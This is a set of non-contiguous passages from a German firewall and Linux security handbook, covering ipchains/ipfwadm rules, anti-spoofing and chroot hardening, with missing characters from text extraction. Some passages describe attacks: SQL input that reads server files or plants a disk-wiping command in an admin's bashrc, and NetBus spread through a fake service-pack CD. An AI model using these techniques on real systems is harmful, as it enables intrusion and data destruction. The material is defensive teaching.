299. er mit MS SQL 7 0 noch viel haarstr ubendere Sicherheitsl cken besitzen deren Beschreibung Sie leider nicht in der Microsoft Dokumentation finden Ich selber werde diese auch kaum ver ffentlichen es sei denn Microsoft gibt alle Quellcodes von NT und MS SQL 7 0 unter GPL Lizenz frei Unter LINUX oder BSD UNIX wissen Sie zumindest wonach Sie suchen m ssen und k nnen die Probleme beseitigen unter NT nicht Man kann also auch z B ber ein PHP3 oder PERL Skript in ein Formularfeld z B delete from create load data infile select eintragen um sich Inhalten von Dateien auf dem Server hinter der Firewall auf den Browser ausgeben zu lassen Man kann z B auch in das Homeverzeichnis des Administrators profile bash_profile bashrc eine Datei exportieren die ein Kommando zum L schen der Festplatte enth lt Der Angreifer ist schon lange weg und der Administrator l scht seine eigene Festplatte Vieles ist m glich Das schlimme ist auch noch da MySQL diesen Angriff nicht aufgezeichnet hat MySQL verzeichnet stets alle Statements in der Datei var mysql tunix log oder so hnlich Hier finden sich jedoch Logs ber die Manipulationen der Datenbank test user01 tunix var mysql gt more tunix log mysqld started on Fri Feb 12 16 07 38 MET 1999 mysqld ended on Fri Feb 12 16 07 39 MET 1999mysqld started on Thu Aug 19 10 26 42 MEST 1999 Jusr sbin mysqld Version 3 21 33b log started with T
300. er selten gebrauchte Bits in dem Paket Header die Type of Service ToS Bits genannt werden Sie beeinflussen die Art wie Pakete behandelt werden Die vier Bits beschreiben folgende Funktionen e Minimum Delay e Maximum Throughput e Maximum Reliability e Minimum Cost Es darf laut Definition nur eines der Bits gesetzt sein Der Autor des Code Abschnittes beschreibt seine Eigenschaften so Besonders das Flag Minimum Delay ist f r mich besonders wichtig Ich schalte es ein um interaktive Pakete in meinem Upstream von dem Linux Router zu handeln Ich selber habe nur ein 33k6 Modem Linux gibt den Paketen in drei verschiedenen Queues besondere Priorit ten So bekomme ich auch noch w hrend eines Downloads noch akzeptable Antwortzeiten f r interaktive Dinge Die Performance k nnte ein wenig besser sein wenn da nicht eine so gro e Queue in dem Treiber f r die serielle Karte w re aber die Latenzzeiten sind nun nur noch im Bereich von 1 5 Sekunden Allgemein behindern sich telnet und ftp Datenstr me aufgrund ihrer unterschiedlichen Bits W hrend FTP Datenstr me stets auf maximalen Durchsatz ausgelegt sind ist telnet auf minimale Verz gerungszeiten ausgelegt Um beides unter einen Hut zu bekommen sollten folgende Regeln eingesetzt werden ipchains A output p tcp d 0 0 0 0 0 telnet t 0x01 0x10 ipchains A output p tcp d 0 0 0 0 0 ftp t 0x01 0x10 ipchains A output p tcp s 0 0 0 0 0 ftp data t 0x01 0x08 Der Option t fo
301. erbleibenden D monen buffer overflow sicher sind benutzen Sie die Kompiler der o a SecureLINUX Distributionen Wie Sie sehen gibt es gute Gr nde eine Firewall nicht mit einer fertigen LINUX Distribution wie z B RedHat oder S u S E Linux aufzubauen Es gibt viel zu viel Software und aktive D monen die man alle unbedingt ausschalten mu Eine Firewall ist und bleibt ein u erst sensibles St ck Software wo ein einziger Fehler schon zuviel ist Als Systemadministrator der Firewall sollte man alle noch vorhandenen User auf der Firewall gnadenlos eliminieren Es sollte nur noch ein Useraccount und root auf der Firewall existieren brigens sollte man sich einmal Gedanken dar ber machen welche Accounts bei einer Standard Distribution wie z B S u S E LINUX standardm ig existieren root x 0 0 root root bin bash bin x 1 1 bin bin bin bash daemon x 2 2 daemon sbin bin bash Ip x 4 7 lp daemon var spool lpd bin bash news x 9 13 News system etc news bin bash uucp x 10 14 var lib uucp taylor_config bin bash games x 12 100 tmp bin bash man x 13 2 var catman bin bash at x 25 25 var spool atjobs bin bash postgres x 26 2 Postgres Database Admin var lib pgsql bin bash Inx x 27 27 LNX Database Admin usr lib Inx bin bash mdom x 28 28 Mailing list agent usr lib majordomo bin bash yard x 29 29 YARD Database Admin usr lib Y ARD bin bash wwwrun x 30 65534 Daemon user for apache tmp bin bash squid x 31 65534 WW
302. erden auch Variablen angezeigt Variables mails 0 pings 5 timeout Aug 03 15 13 53 host 193 194 195 196 3 timeout Aug 03 15 13 53 alerts 3 Die Ausgabe zeigt den Namen der Variablen und ihren Wert an Wenn der Variablen nur vor bergehend ein Wert zugewiesen wurde so ist der entsprechende Timeout angezeigt Wenn die Variable in viele Hosts unterteilt wurde Instanz dann werden alle Werte aller Host IP Nummern und eventuell deren timeout mit ausgegeben 15 7 Counter Intelligence Einige erg nzende Worte noch zu den F higkeiten der counter intelligence die die SINUS Firewall 2 0 so besonders auszeichnen Einige Kritiker m gen die spy Funktion f r unethisch halten wenn ein Host das Ziel eines Angriffs einer Firewall wird Um diese etwas zu bes nftigen sollten einige Dinge nicht unerw hnt bleiben Erstens startet die Firewall nur dann Aktivit ten wenn dies der Systemadministrator auch ausdr cklich so will Zweitens ermittelt die Firewall nur diejenigen Informationen von einem angreifenden Host die dort auch abrufbar sind Insbesondere betrifft dies Universit ten und UNIX Server im allgemeinen die immer mehr zum Opfer von Hackern werden Drittens ist es eventuell von Vorteil wenn der Erstellt von Doc Gonzo http kickme to plugins Systemadministrator eines Hosts durch die Firewall automatisch z B via e Mail ber Angriffe die von seinem Host ausgehen informiert werden kann Aktionen die vom spy gestartet wer
303. erh ht e Bridging sollte unbedingt ausgeschaltet werden da ansonsten die Pakete nicht mehr gefiltert werden e Forwarding between high speed interfaces ist hnlich dem fast switching allerdings mit Kontrolle ber Bandbreiten Diese Option sollte vorsichtshalber ausgeschaltet bleiben da noch keine Erfahrungen vorliegen Das Problem mit Jumbo Frames ist hier kritisch e IP use TOS ist eine Option die es erlaubt dynamisch Bandbreiten in Anhangigkeit des Protokolls zu regeln und z B das Routing dementsprechend anzupassen Dies birgt immer die Gefahr da asymmetrische Routen auftauchen welche in Firewalls zu Fehlermeldungen f hren k nnen Ansonsten ist hiergegen nichts einzuwenden besonders nicht wenn man nur mit 2 Netzwerkadaptern arbeitet 2 sind immer gut 3 ist immer einer zuviel e LOADABLE Module Support ist immer auszuschalten da eventuell jemand z B einen buffer overflow Attack im Appletalk Treiber entdecken k nnte Dann br uchte er nur ein Appletalk Paket an die Firewall zu senden diese w rde den Treiber dynamisch laden den Rest kann man sich denken e Bei schnellen GIGABIT Netzwerk Adaptern besteht immer das Problem von Windows Oversize Large Windows Man sollte hier entsprechend vorsichtig sein e socket filtering erm glicht es Usern eigene Filter zu starten Ausschalten 12 6 Installation von ipchains im Kernel In neueren Linux Distributionen mit Kernel 2 2 z B RedHat 5 2 ist ipchains bereits aktiviert
304. erkinterface EXTERNES_INTERFACE aber dann Pakete forwarden also weiterleiten darf wenn diese aus dem Intranet stammen also auch wenn diese von INTRA1 stammen Weiterleitung von EXTERNES_INTERFACE bedeutet da das Paket zwar nicht nach der Regel 9 aber entsprechend der Regel 10 Zugang zu der Firewall findet Hat es Zugang gefunden dann befindet sich dieses Paket innerhalb der Firewall und kann auch wieder entsprechend der Regel 9 die Firewall verlassen Nun h ngt es davon ab welche Zieladresse das Paket besitzt Ist die Zieladrese die Firewall selber so kann ein Angreifer auf D monen der Firewall zugreifen da diese sich ja an alle Interfaces gebunden haben Die letzen drei Regeln erlauben es einem Angreifer mit Paketen deren Quelladresse im Intranet liegt und deren Zieladresse die Firewall selber ist von au en auf die D monen der Firewall zuzugreifen Dieses Vort uschen nennt man address spoofing Entsprechend der Regel 7 k nnte der Angreifer direkt seine Pakete an einen Host in dem Intranet adressieren und somit auf einen Server hinter der Firewall zugreifen Oops Das war so nun wirklich nicht beabsichtigt Wie ist das Dilemma zu beseitigen Kein Problem Es gibt anti spoofing Regeln die genau aufpassen ob es interne oder externe IP Nummern sind die an dem internen oder externen Interface ankommen anti spoofing ipfwadm I a deny o W EXTERNES_INTERFACE S INTRANET ipfwadm O a deny o W EXTERNES_INTERFACE D
305. err d increase debug level n fprintf stderr 1 log n exit exitcode int main int argc char argv i intc extern int optind extern char optarg while c getopt argc argv Vdl EOF switch c case V usage 0 break case d dflg break case l Iflg break Erstellt von Doc Gonzo http kickme to plugins default usage 1 wait_conn return 0 Als Vergleich mag der Abschnitt ber die Absicherung von PERL Skripten dienen Kapitel PERL Sicherheit bei WWW Servern 22 8 Installation von Servern mit CHROOT Besonders wichtig ist es stets WWW Server SQL Datenbanken FTP Server so abzusichern da ein Angreifer im Falle eines Einbruchs m glichst wenig Rechte erh lt und in einem Unterverzeichnis gefangengehalten wird Es ist selbstverst ndlich da die D monen mit m glichst wenig Rechten gestartet werden Der Start eines D mons in einer CHROOT Umgebung sollte eigendlich selbstverstandlich sein Viele kommerzielle Server wie z B der Netscape Enterprise Server ROXEN Challenger und viele FTP D momen unterst tzen diese Funktionalit t von Hause aus sind aber in vielen F llen nicht automatisch aktiviert Schauen Sie bitte zuerst im Handbuch nach bevor Sie dieser Installationsanleitung folgen Sie ist allgemeing ltig auf alle D momen unter UNIX anwendbar und erh ht die Sicherheit eines Server enorm ohne sich negativ auf die Perfor
306. erung wie bei obigen Protokollen ist nicht erlaubt ICMP Codebezeichnungen sind recht lang daher werden h ufig nur die Kurzbezeichnungen angegeben Number Name Funktion 0 echo reply ping 3 destination unreachable Router Clients 5 redirect Router 8 _ echo request ping 11 _ time exceeded traceroute Keinesfalls sollten alle ICMP Pakete in Firewalls gesperrt werden Der Code Nummer 3 destination unreachable ist ein unentbehrliches Hilfsmittel f r korrektes Routing Es k nnten so eventuell Leitungen berlastet werden insbesondere ISDN Die Zuordnung der Netzwerkkarte Die Option i ordnet eine Regel eindeutig einem Interface zu Im Gegensatz zu dem alten Firewall Kernel ist es hier erlaubt bereits eine Regel f r ein Interface zu definieren bevor es berhaupt existiert Diese Eigenschaft erlaubt es Regeln f r ISDN Interfaces aufzusetzen ohne deren IP Nummer zu kennen Das trifft insbesondere auf dial on demand ISDN Leitungen zu deren IP Nummer erst nach der Einwahl vergeben wird Bei der Bezeichnung der Interfaces sind auch wildcards erlaubt wie z B ippp oder ppp oder eth Die Invertierung der Interface Bezeichnungen mit einem Ausrufezeichen ist erlaubt Dies bedeutet insbesondere daB mit eth alle Interfaces auBer den Netzwerkkarten gemeint sind Die Regeln treffen dann beispielsweise auf alle ISDN Interfaces zu Filterung von TCP Paketen Manchmal ist es sinnvoll Verbindungen nur in eine Richtung zuzula
307. es Betriebssystems und die richtigen Programme installiert hat um einen exploit schreiben zu k nnen Geringe Abweichungen schon k nnen verhindern da ein exploit gleicherma en auf allen Servern anwendbar ist Ein professioneller Angreifer wird sich den Server m glichst bis auf das I T pfelchen genau nachbauen den ber hmten Softlce Debugger benutzen um mangelhafte L ngenabfragen ausfindig zu machen Softlce ist ein hervorragendes Werkzeug um professionell in Binary Code nach speziell solchen Problemen zu suchen Windows NT DLL s strotzen geradezu vor Warnmeldungen des Debuggers die einen m glichen buffer overflow anzeigen Bis ein Security Patch f r die einzelnen Sprachversionen vorliegen kann bei Microsoft durchaus ein Jahr vergangen sein SYN flood und SP4 HP UNIX HP UNIX hat aufgrund der eigenen CPU und der geringen Verbreitung wenig zu f rchten im Grunde gilt aber dasselbe wie f r NT Highlight ist die Geschwindgkeit mit der HP auf Sicherhheitsprobleme reagiert Es wurden Sicherheitskorrekturen f r den Mailer Damon an die Kunden verteilt obwohl f r diese gepatchte Version schon wieder Informationen ber neue Sicherheitsl cher vorlagen Weitere Kommentare berfl ssig Wie kann ich einen Server wirksam vor buffer overflows sch tzen Jede bergabe von Daten an irgendeinen Dienst D mon eines Betriebssystems mu berpr ft werden Das erfordert genaue Detailkenntnisse ber Befehle Befehlsparameter u
308. es EXE Files Die Stings werden zumeist vor der Angabe des Compiler Herstellers eingeleitet hier ist es z B Microsoft an anderen Fallen k nnte es Borland sein Die verwendete Erstellt von Doc Gonzo http kickme to plugins Programmiersprache C C Basic Pascal ist v llig ohne Bedeutung das die die fertigen EXE Dateien kaum voneinander unterscheiden Mit strg k h findet man eine Hilfe Man kann nun alle Zeilen von Anfang des Files bis zum Beginn der relevanten Strings l schen Untersuchen wir nun also einmal den verbleibenden Rest von neo20 strings Kommentare und Interpretationen sind eingef gt Zeilen ohne Aussagekraft sind gel scht und mit gekennzeichnet Es lohnt sich diese Zeilen alle in Ruhe einmal genau durchzulesen vielleicht entdecken Sie ja die E Mail Adresse an die Ihre Dateien von der Festplatte versendet werden TO NeoPlanet 2 0 FSOFTWARE Microsoft Internet Explorer Main SOFTWARE Microsoft Internet Explorer AdvancedOptions MULTIMEDIA ANIMAT SOFTWARE Microsoft Internet Explorer AdvancedOptions MULTIMEDIA PICTS SOFTWARE Microsoft Internet Explorer AdvancedOptions MULTIMEDIA SOUNDS SOFTWARE Microsoft Internet Explorer AdvancedOptions MULTIMEDIA VIDEOS Das Programm verwendet die DLL s und Teile des IE4 0 es ist ein Aufsatz auf den Explorer Es ist fiir Windows 95 98 und NT geeignet IE Version Connect to the Internet via Shell Version d d Build d Win32s on Windows Build u
309. es Proxies im Browser sollte man es einmal mit proxy provider de auf den beiden oben erw hnten Ports versuchen Wir haben nun einige Ports betrachtet UNIX verf gt aber ber ein unglaubliche Zahl von Diensten soda man wirklich alle abschalten sollte von denen man nicht definitiv wei ob sie bei falscher Konfiguration ein Sicherheitsproblem darstellen Allgemein sollte man sich an der UNIX Computer Security Checklist von AUSCERT oder dem DFN Verein in Hamburg orientieren Diese ist zwar etwas veraltet das ist aber UNIX auch im Prinzip auch wenn einige Benutzeroberfl chen sehr modern aussehen Das Grundprinzip bei UNIX ist seit den 70er Jahren nicht mehr ver ndert worden Eine gro e Hilfe ist das Grundschutzhandbuch des BSI http www bsi bund de sein Um jedoch eine sichere Firewall aufzubauen sei jedermann frau dringenst geraten so konservativ wie m glich mit der Freigabe von Ports auf der Firewall zu verfahren Dasselbe gilt insbesondere f r Dienste auf der Firewall selber In der Vergangenheit haben unz hlige Einbr che ber D monen wie z B sendmail pop3 http gezeigt da ein Angreifer ber trojanische Pferde auf den Arbeitsstationen auch die Firewall selber angreifen kann 9 14 Gefahren mit Ports gt 1024 Es gibt aber noch ein paar Gefahren bez glich der Freigabe von unpriviligierte gt 1024 auf der Firewall Per Definition sind die Dienste von X Windows 6000 OpenWindows 2000 und NFS TCP und UDP 2049
310. es f r alle eingebauten chains werden ebenfalls mit abgespeichert input output and forward ipchains save gt my_firewall Saving input Saving output Saving forward Saving ppp in Saving ppp out Der Befehl ipchains restore ipchains restore restauriert die gespeicherten chains und deren Regeln die mit ipchains save gespeichert wurden Es k nnen zwei Optionen mit angegeben werden v gibt eine Regel aus wenn sie hinzugef gt wird und f erzwingt das L schen von User definierten chains falls diese existieren Wenn einen User definierte chain gefunden wird berpr ft ipchains restore ob diese chain bereits existiert Wenn ja dann wird der User gefragt ob die bestehenden Regeln gel scht werden sollen oder nicht Wenn die Option f an der Befehlszeile mit angegeben wird dann wird die chain gel scht Um dieses Skript laufen zu lassen mu man als root eingeloggt sein Beispiel Erstellt von Doc Gonzo http kickme to plugins ipchains restore lt my_firewall Restoring input Restoring output Restoring forward Restoring ppp in Chain ppp in already exists Skip or flush S f s Skipping ppp in Restoring ppp out Chain ppp out already exists Skip or flush S f f Flushing ppp out 12 13 Verschiedenes In diesem Abschnitt befinden sich alle Informationen und haufig gestellten Fragen die nicht in die oberen Abschnitte passen Wie m
311. ess Program Files Netscape Users PMAIL MAIL Pmail ini Program Files Qualcomm Eudora Mail Eudora ini Software Microsoft Office 8 0 Outlook OMI Account Manager Accounts Software Microsoft Internet Account Manager Accounts Neoplanet m chte mehr ber die Netscape Bookmarks erfahren und ffnet die Liste der gl serne Mensch FileLocation SOFTW ARE Netscape Netscape Navigator Bookmark List bookmark htm DirRoot CurrentUser SOFTWARE Netscape Netscape Navigator Users USERNAME Imported from Netscape Neoplanet m chte alle User dieses Arbeitsplatzes ermitteln Invalid Scheme Name FileContents Erstellt von Doc Gonzo http kickme to plugins ee Der Ort der Updates von Neoplanet damit der User auch stets die aktuelle Version des trojanischen Pferdes installiert Damit der Systemadministrator auch nicht genau weiss woher Neoplanet die Updates anfordert Neoplanet mu die Orte selber erfragen http neoplanet snap com LMOID mysnap mysnap 0 160 neoplanet 0 00 html pt neo br hom my Error Obtaining Update Update this software from See neosetup ftp neoplanet com www neoplanet com http www neoplanet com _cmd mailto EITOT question info Caught ex importnetscapebookmarks Register register Der User soll sich registrieren und die Bookmarks von Netscape bermitteln Etwas viel Informationen ShowTour tour artdir true offline wichita a
312. et im Kernel passiert ACCEPT lo interface v REDIRECT gt C gt S gt gt D gt gt local gt gt h gt a linput e Routing _ loutput ACCEPT eln Chain m Decision Iforwardl gt IChain cli l a n IChain l kit s s sly q Ll u v e v l y m DENY r Local Process v DENY I v REJECT a DENY REJECT IDENY d REJECT v DENYI Beschreibung der einzelnen Abschnitte Checksum Die Checksum ist eine Pr fsumme in dem IP Header die feststellt ob ein Paket bei der bertragung ver ndert wurde Stimmt die Pr fsumme nicht so wird das Paket abgelehnt Erstellt von Doc Gonzo http kickme to plugins Sanity Hier werden die sehr wichtigen berpr fungen auf Pakete mit besonderen Flags im Header durchgef hrt die eventuell die korrekte Abarbeitung der Firewall Regeln verhindern k nnten IP Fragmente Falls dieser Fall eintreten sollte wird eine Nachricht an den SYSLOGD bergeben input chain Hier werden zum ersten male die Pakete anhand von Filterregeln getestet Pakete werden hier zur ckgewiesen oder verworfen Demasquerade Hier werden maskierte Pakete also Pakete die von einem Host im Intranet stammen und deren Absender in denjenigen der Firewall umgestempelt wurde und deren Antwort nun eintrifft korrekt zugeordnet und weitergeleitet Dies dient dem Verdecken der internen
313. etzt 3 Ausgehende Anfrage Client an Server ACK gesetzt au er im ersten Paket 4 Eingehende Antwort Server an Client ACK gesetzt WHOIS Information WHOIS basiert auf TCP Server benutzen Port 43 Clients benutzen beliebige Portnummern ber 1023 Regel Richtung Protokoll Quellport Zielport Kommentar 1 aus TCP gt 1023 43 SYN ACK 2 ein TCP 43 gt 1023 ACK Anmerkungen zu den Regeln 1 Ausgehende Anfrage Client an Server ACK gesetzt au er im ersten Paket 2 Eingehende Antwort Server an Client ACK gesetzt X11 X Windows X11 arbeitet mit TCP und benutzt Port 6000 f r den ersten Server auf einer Maschine Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 6000n SYN ACK 2 aus TCP 6000n gt 1023 ACK 3 aus TCP gt 1023 6000n SYN ACK 4 ein TCP 6000n gt 1023 ACK Anmerkungen zu den Regeln Erstellt von Doc Gonzo http kickme to plugins 1 Eingehende X11 Verbindung zum n ten Server Client an Server ACK gesetzt au er im ersten Paket 2 Eingehende X11 Verbindung zum n ten Server Server an Client ACK gesetzt 3 Ausgehende X11 Verbindung zum n ten Server Client an Server ACK gesetzt au er im ersten Paket 4 Ausgehende X11 Verbindung zum n ten Server Server an Client ACK gesetzt LPR Printer LPR basiert auf TCP Server benutzen Port 515 Clients benutzen Portnummern unter 1023 Regel Richtung Protokoll Quellport Zielport Erg nzungen l ein TCP lt 1023 515
314. eute Server aus dem Internet ferngesteuert Auch CDROM s kann man in kleinen St ckzahlen zu Preisen von ca 5 DM incl Aufdruck herstellen lassen Installationssoftware die Microsofts Installationsprogramm nachahmt gibt es im Internet gratis viele Hersteller von Freeware benutzen es http www w3 o rg amaya Der Aufwand f r einen Angreifer sich alte SP1 Updates DLL s Systemfiles aus einem installierten System zu kopieren diese in ein File zusammen zu schreiben und mit dem FreeWare Installtionsprogramm zu versehen w rde ein paar Stunden in Anspruch nehmen Die Herstellung der CDROM mit Glasrohling Aufruck ca 200 DM Danach w ren alle NT Server Workstations im Netz mit NETBUS verseucht und beliebig fernsteuerbar Viel einfacher ist nat rlich einem bekannten die neuesten ServicePacks brandaktuell aus dem Internet auf CDROM zu kopieren damit er Downloadzeit spart Angriffe ber IRC Quake ICQ Netmeeting H ufig sind Firewall Einstellungen zu freiz gig gehandhabt soda es m glich ist Dienste die normalerweise ber verbotene Ports laufen ICQ IRC ber den freigegebenen Port 80 http der Firewall laufen zu lassen Hacker kennen diese M glichkeit und verleiten Mitarbeiter die in Ihrer Freizeit von Zuhause aus an ICQ oder IRC teilnehmen innerhalb der Firma einen ICQ IRC Client zu installieren und sich ber Port 80 an einem speziellen IRC ICQ Server anzumelden In diesem Falle ist bei vielen Firewalls nicht
315. ew ltigen und eignet sich hervorragend auch f r riesige Netze wie z B der Telekom mit Millionen von IP Nummern oder gro en Firmen wie Siemens DEBIS Daimler Duch den ping wird die ISDN Leitung des Routers offengehalten zwecks Untersuchung Er kann auch sicher sein da er das richtige Opfer gefunden hat da sonst niemand diese bestimmte WWW Seite kennt Der Angreifer kann also in Ruhe irgendwann in der Nacht den Server untersuchen Ein Scan wird zeigen da hier keinerlei Port offen ist Da diese Firma so wegen der dynamischen IP Nummer und wegen der v llig geschlossenen Ports keine E Mail erhalten w rde mu also ein Programm die E Mail aktiv in das Netzwerk holen aber wie und von wo Eine kurze Abfrage des MX Eintrages dieser Firma XY mit nslookup zeigt da die E Mail auf einem Au enserver gelagert wird Es ist zu vermuten da zu bestimmten Zeiten E Mail geholt und gesendet wird dieses Verfahren dient der Vermeidung von Telefonkosten Erstellt von Doc Gonzo http kickme to plugins Was w rde ein Angreifer unternehmen um in dieses Netzwerk vorzudringen Im Prinzip w rde auch der o a Angriff funktionieren es ist aber mit etwas h herem Widerstand bei einem Angriff von innen her zu rechnen Z B w rde ein erfahrener Administrator einen SSH Client benutzen oder via WWW Interface Webmin oder SSL den Server administrieren Normale Useraccounts k nnten f r telnet deaktiviert sein soda ein Einloggen unm glich
316. externe Interface der Firewall weitergeleitet werden hierzu m ssen wir eine weitere Regel hinzuf gen Erlaube Internet Datenaustausch ipfwadm O a accept W EXTERNES_INTERFACE S INTRA1 Etwas verwirrend mag die Reihenfolge der Regeln erscheinen Zuerst werden alle Pakete abgelehnt um diese dann durch eine nachfolgende Regel wieder zuzulassen Hierzu mu man nur eines wissen Firewalls arbeiten alle Regeln immer nur bis zu einem Match zutreffende Regel ab Findet sich in der Reihe zuerst eine Regel die die Weiterleitung zul t so wird weitergeleitet Wenn die Regel keine Weiterleitung zul t dann wird das Paket verworfen und die folgenden Regeln nicht weiter abgearbeitet Trifft keine der Regeln zu dann wird es interessant Der Kernel f hrt dann diejenige Regel aus die der Policy entspricht Steht die Policy auf allow dann wird das Paket weitergeleitet steht die Policy auf deny dann wird das Paket verworfen Also Achtung beim Hinzuf gen oder L schen von Regeln wenn die default policy nicht auf deny steht Das setzen der Policy auf deny sollte also unbedingt und unter allen Umst nden zu allererst in den Firewallregeln erfolgen Diese m ssen sogar zu allererst gesetzt werden Nun erlauben wir den Zugriff eines Hosts mit der IP Nummer INTRA1 aus dem INTRANET auf die u ere Netzwerkkarte EXTERNES_INTERFACE Was bedeutet nun dieses Ein Host aus dem Intranet mit INTRA1 bezeichnet darf Pakete an LOKALES_INTERFAGE also
317. f sockudp 1 return 1 memset 0 sizeof name name sin_family AF_INET name sin_addr s_addr INADDR_ANY name sin_port 0 res bind sockudp struct sockaddr sizeof name if res 1 perror bind close sockudp return 1 if dflg fprintf stderr Avant getsockname port d n ntohs name sin_port len sizeof name getsockname sockudp struct sockaddr Erstellt von Doc Gonzo http kickme to plugins server_udp_port ntohs name sin_port if dflg fprintf stderr port d allocated n server_udp_port return 0 Each connection is handled by a separate process en void do_child int newfd struct sockaddr name namepeer struct sockaddr_in where struct sockaddr_in outudp struct sockaddr_in from Sending host address fd_set rfd int already_bind 0 char buffer 4096 char zone 64 int pos 0 int namelen fromlen i int fd_to_proxy int maxfd int lu res int sockudp sockcl int client_udp_port server_udp_port namelen sizeof namepeer i getpeername newfd This hack is the TRANSPARENT PROXY magic We want to know wich destination the client want to connect oy namelen sizeof name i getsockname newfd if Iflg Il dflg time_t tnow struct tm tm time tm localtime fprintf stderr 02d 02d 02d d d d d d gt d od od d tm gt tm_hour tm
318. f r den inneren Router sind diese auch dann nicht redundant wenn die Regeln FTP1 und FTP2 in der Liste weiter oben stehen da Bastion Host als Quelle oder Ziel lediglich von den Regeln FTP5 und FTP6 abgedeckt wird nicht aber von FTP1 und FTP2 f r interne Rechner e FTP7 FTP8 und FTP9 Diese Regeln lassen FTP Datenverbindungen vom Proxy Server auf dem Bastion Host zu internen Clients die nicht im passiven Modus arbeiten zu Angreifer die Zugang zum Bastion Host erlangt haben werden durch FTP7 daran gehindert interne X11 Server ber die durch FTP8 und FTP9 ge ffnete L cke anzugreifen Sollten Sie auf TCP Ports gt 1023 andere interne Server betreiben ist es sinnvoll daf r hnliche Regeln einzuf gen Entsprechend Regel FTP7 alle Verbindungen aufzuf hren die verboten werden sollen wird im allgemeinen nicht m glich sein da z B nach der Einrichtung des Paketfilters Dienste hinzugef gt werden oder bei der Einrichtung nicht alle bekannt sind jedoch sollte man es nicht unterlassen zur Unterst tzung von FTP Clients im normalen Modus f r so viele Verbindungen wie m glich zuzulassen e FTP10 FTP11 FTP12 FTP13 FTP14 und FTP15 Diese Regeln lassen FTP Verbindungen im passiven Modus von externen Clients zum Anonymous FTP Server auf dem Bastion Host zu Da im internen Netz keine Erstellt von Doc Gonzo http kickme to plugins FTP Server die auf externe Clients zugreifen k nnen vorhanden sind existieren keine entsprechenden Rege
319. f die Adresse 127 0 0 1 gebunden hat Das Device eth0 ist korrekt an die Netzwerkkarte angebunden Weiterhin interessiert die Route also der Weg den die die Pakete nehmen Der Befehl sbin route n zeigt die Routen an wobei die Option n die DNS Namens Aufl sung unterdr ckt Erstellt von Doc Gonzo http kickme to plugins user01 tunix etc gt sbin route n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10 0 0 0 0 0 0 0 DAO U 0 6 eth0 127 0 0 0 0 0 0 0 255 0 0 0 U 0 0 1lo Hier sieht man da alle Pakete unserer Ethernetkarte ethO an die Netzwerkadresse 10 0 0 0 gebunden sind mit einer Netmask 255 255 255 0 Dies bedeutet da der Host nun mit 252 anderen Hosts verbunden werden kann also von 10 0 0 2 bis 10 0 0 254 Die Nummer 10 0 0 255 ist per Definition als Broadcast Adresse siehe oben eingetragen Das LOOPBACK Interface bindet sich an die interne Netzwerkadresse 127 0 0 0 Es hat also alles seine Ordnung Im brigen besitzen auch Windows 95 und viele andere Betriebssysteme ein solches Man mu nur in der DOS Shell einmal route print oder ipconfig oder netstat eintippen es funktioniert ebenso Sogar die Datei c windows etc hat unter Windows eine Funktion Bestimmte IP Nummern sind allerdings reserviert und d rfen nicht ohne genaue Kenntnis vergeben werden 224 0 0 0 f r Multicast also Video bertragungen 10 0 0 0 und 192 168 0 0 f r eigene Netzwerke Diese werden
320. fault nicht so eingestellt da stack heap execution untersagt ist ein weiteres Problem welches zudem schlecht dokumentiert ist Die Firewall kann auch den Zugriff von au erhalb auf D monen des Servers erlauben was schwerwiegende Folgen haben kann Mit einem buffer overflow ist somit ein Angreifer in der Lage die Firewall in nichts aufzul sen Weitere Angriffpunkte ergeben sich durch eingeschleuste Attachments an E Mail die direkt bekannte buffer overflows gegen gestartete D monen auf der Firewall ausf hren Insgesamt ist es sogar einem erfahrenen Systemadministrator nicht zuzutrauen das Betriebssystem dieser Firewall gen gend abzusichern angesichts der schlechten Dokumentation unsicheren Defaulteinstellungen und fehlenden Warnhinweisen der Firewall selber F r SUN als Tr ger der Firewall spricht nur die Qualit t der Software die Stabilit t und Leistungsf higkeit des Betriebssystems und die Tatsache da man dieses System sicher machen kann mit entsprechender Vorbildung und Erfahrung im cracken von UNIX aber wer hat die schon Schlie lich mu die Sicherheit ja auch nachgewiesen werden k nnen bzw die Unsicherheit der Default Installationseinstellungen Insgesamt ist das Konzept eines bastion hosts der sich selber durch die Firewall sichert u erst fragw rdig Windows NT 4 0 als Gateway zum Internet Zahlreiche kleinere Unternehmen besitzen Windows NT 4 0 Server Installiert sind Fakturierung
321. fc start neue_konfiguration conf Einfacher ist er Einsatz des Befehls sfc stop sfc reconfig neue_konfiguration conf Dieser Befehl startet eine neue Konfiguration Hierbei werden alle Parameter von bestehenden TCP Verbindungen Ubernommen Verbindungen die nach den neuen Regeln verboten sind werden beendet Hierzu k nnen optional noch zwei weitere Parameter bergeben werden flush ist die Default Einstellung die alle erlaubten Verbindungen aufrechterh lt flush_all beendet alle Verbindungen Diese Option entspricht einem Stop und dem Neustart 15 5 berpr fung der Konfiguration Um vor der Umstellung einer Firewallkonfiguration eventuelle Fehler im Regelwerk entdecken zu k nnen ist es sinnvoll das Konfigurationsfile auf Fehler in der Syntax oder Logikfehler hin zu berpr fen Hierf r existiert der Befehl sfc checkconfig neue_konfiguration conf Im Falle eines Fehlers wird die Zeile ausgegeben in welcher ein Fehler erkannt worden ist Es werden Syntaxfehler und Logikfehler bei der Zuordnung der notification level erkannt Achtung Die Firewall kann keine Unsicherheiten im Regelwerk erkennen die zu einem eventuellem Sicherheitsproblem eines Hosts hinter der Firewall f hren w rden F r das korrekte Aufstellen der Regeln ist stets der Systemadministrator verantwortlich Um diese zu vermeiden befindet sich in einem er anschlie enden Kapitel eine ausf hrliche Liste mit Beispielen zu Regeln und Hinweise wie Fehler zu entdec
